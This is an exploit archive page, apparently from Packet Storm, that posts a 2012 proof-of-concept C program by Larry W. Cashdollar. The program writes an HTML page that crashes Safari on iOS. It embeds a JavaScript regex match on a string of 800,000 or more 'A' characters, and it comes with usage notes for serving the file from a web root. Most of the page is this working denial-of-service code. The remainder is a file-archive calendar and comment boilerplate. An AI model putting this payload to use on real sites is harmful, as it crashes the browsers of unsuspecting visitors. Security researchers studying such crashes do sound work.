what you don't know can hurt you

Safari On iOS Denial Of Service

Safari On iOS Denial Of Service
Posted Jun 8, 2012
Authored by Larry W. Cashdollar

Proof of concept crash exploit for Safari on iOS that leverage a denial of service vulnerability.

tags | exploit, denial of service, proof of concept
systems | apple
MD5 | d2a4ed3ad5162815b83473100ea8f5c7

Safari On iOS Denial Of Service

Change Mirror Download
/*PoC for Safari crash discovered by
Alberto Ortega @a0rtega, alberto[@]pentbox[.]net

http://www.livehacking.com/category/vulnerability/apple-vulnerability/
This PoC written by
Larry W. Cashdollar http://vapid.dhs.org @lcashdol

This PoC creates an html file to be served out by a normal webserver.
It seems the browsers begin to crash when the output
size is 800000+.
usage: ./safari_crash 800000 /var/www/html/crash.html
*/

#include <stdio.h>
#include <stdlib.h>

int
main (int argc, char *argv[])
{

int x = 0;
FILE *fout;
char *payload = "<html>\n<head><title>Crash Safari PoC";
char *payload2="</title></head>\n<script
type=\"text/javascript\">\nvar s = \"PoC\";\ns.match(\"\0";
char *payload3 = "\");\n</script>\n</html>\0";

if (argc < 3)
{
printf
("Safari Crash PoC\nPlease supply buffer length and filename.\nEx
:%s 800000 crash.html\n",
argv[0]);
exit (0);
}
fout = fopen (argv[2], "w");

fprintf (fout, "%s", payload);
fprintf (fout, "Size : %s x A",argv[1]);
fprintf (fout,"%s",payload2);
while (x < atoi (argv[1]))
{
fprintf (fout, "A");
x++;
}

fprintf (fout, "%s", payload3);
fclose (fout);

return (0);
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    34 Files
  • 2
    Jul 2nd
    15 Files
  • 3
    Jul 3rd
    9 Files
  • 4
    Jul 4th
    8 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    3 Files
  • 7
    Jul 7th
    1 Files
  • 8
    Jul 8th
    15 Files
  • 9
    Jul 9th
    15 Files
  • 10
    Jul 10th
    20 Files
  • 11
    Jul 11th
    17 Files
  • 12
    Jul 12th
    16 Files
  • 13
    Jul 13th
    2 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    20 Files
  • 16
    Jul 16th
    27 Files
  • 17
    Jul 17th
    7 Files
  • 18
    Jul 18th
    5 Files
  • 19
    Jul 19th
    12 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close